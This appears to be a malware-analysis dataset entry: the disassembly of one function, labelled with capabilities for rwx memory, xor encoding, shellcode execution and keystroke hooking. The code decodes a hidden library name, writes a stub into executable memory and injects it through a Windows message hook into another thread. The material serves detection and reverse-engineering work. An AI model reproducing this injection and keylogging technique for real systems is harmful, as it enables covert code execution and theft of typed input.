Function at 0x140020850
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov r12, rdx
mov r14d, ecx
mov ecx, WSASetLastError
xor edx, edx
mov r13, r8
call fcn.1400193c0
mov ecx, reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x20], ax
lea edx, [rcx - 0x73]
call fcn.1400193c0
mov ecx, 0x64
mov word [rsp + 0x22], ax
lea edx, [rcx - 0x62]
call fcn.1400193c0
mov ecx, WSASetLastError
mov word [rsp + 0x24], ax
lea edx, [rcx - 0x69]
call fcn.1400193c0
mov ecx, WSASetLastError
mov word [rsp + 0x26], ax
lea edx, [rcx - 0x68]
call fcn.1400193c0
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x28], ax
lea edx, [rcx - 0x29]
call fcn.1400193c0
mov ecx, 0x64
mov word [rsp + 0x2a], ax
lea edx, [rcx - 0x5e]
call fcn.1400193c0
mov ecx, WSASetLastError
mov word [rsp + 0x2c], ax
lea edx, [rcx - 0x65]
call fcn.1400193c0
mov ecx, WSASetLastError
mov word [rsp + 0x2e], ax
lea edx, [rcx - 0x64]
call fcn.1400193c0
xor ecx, ecx
mov word [rsp + 0x30], ax
lea edx, [rcx + 9]
call fcn.1400193c0
movzx ecx, word [0x140079244]
mov edx, 0xa
mov word [rsp + 0x32], ax
call fcn.1400193c0
movzx ecx, word [0x140079246]
mov edx, listen
mov word [rsp + 0x34], ax
call fcn.1400193c0
movzx ecx, word [0x140079248]
mov edx, listen
mov word [rsp + 0x36], ax
call fcn.1400193c0
movzx ecx, word [0x14007924a]
mov edx, reloc.WS2_32.dll_listen
mov word [rsp + 0x38], ax
call fcn.1400193c0
movzx ecx, word [0x14007924c]
mov edx, reloc.WS2_32.dll_ntohl
mov word [rsp + 0x3a], ax
call fcn.1400193c0
movzx ecx, word [0x14007924e]
mov edx, reloc.WS2_32.dll_ntohs
mov word [rsp + 0x3c], ax
call fcn.1400193c0
movzx ecx, word [0x140079250]
mov edx, reloc.WS2_32.dll_recv
mov word [rsp + 0x3e], ax
call fcn.1400193c0
movzx ecx, word [0x140079252]
mov edx, reloc.WS2_32.dll_recvfrom
mov word [rsp + 0x40], ax
call fcn.1400193c0
movzx ecx, word [0x140079254]
mov edx, reloc.WS2_32.dll_select
mov word [rsp + 0x42], ax
call fcn.1400193c0
mov word [rsp + 0x44], ax
xor eax, eax
mov word [rsp + 0x46], ax
xor r9d, r9d
mov r8d, 0x133
nop dword [rax + rax]
movsxd rcx, eax
lea rdx, [rsp + 0x20]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x140020a00
lea rcx, [rsp + 0x20]
mov word [rsp + 0x46], r9w
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.1400195b0
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call fcn.1400193d0
mov edx, reloc.WS2_32.dll_WSACleanup
xor ecx, ecx
mov r8d, 0x3000
mov r15, rax
lea r9d, [rdx - 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x1400d9ab0]
lea rbp, [r15 + 0x5c]
mov rsi, rax
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400d9ac0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400d9ad0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400d9ae0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [str.D__H]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x1400d9b00]
movsd qword [rax + 0x50], xmm1
mov ecx, dword [0x1400d9b08]
mov dword [rax + 0x58], ecx
mov eax, dword [reloc.WS2_32.dll_getsockname]
mov qword [rax + rsi], rbp
mov qword [rsi + 0x6c], r12
mov eax, dword [r13 + 0x28]
add rax, r12
mov qword [rsi + 0x64], rax
call fcn.1400195b0
mov r9d, reloc.WS2_32.dll_WSACleanup
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.140019620
mov r9d, r14d
mov r8, rbx
mov rdx, r15
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rsi + 0x5c], 2
mov rbx, rax
je 0x140020b3e
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r14d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.1400195b0
mov r9d, Ordinal_27
lea r8, [rsi + 0x5c]
mov rdx, rbp
mov rcx, rax
call fcn.140019500
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsi + 0x5c], 2
jne 0x140020b02
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.1400195b0
mov rdx, r15
mov rcx, rax
call fcn.140019470
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp qword [sym.imp.KERNEL32.dll_VirtualFree]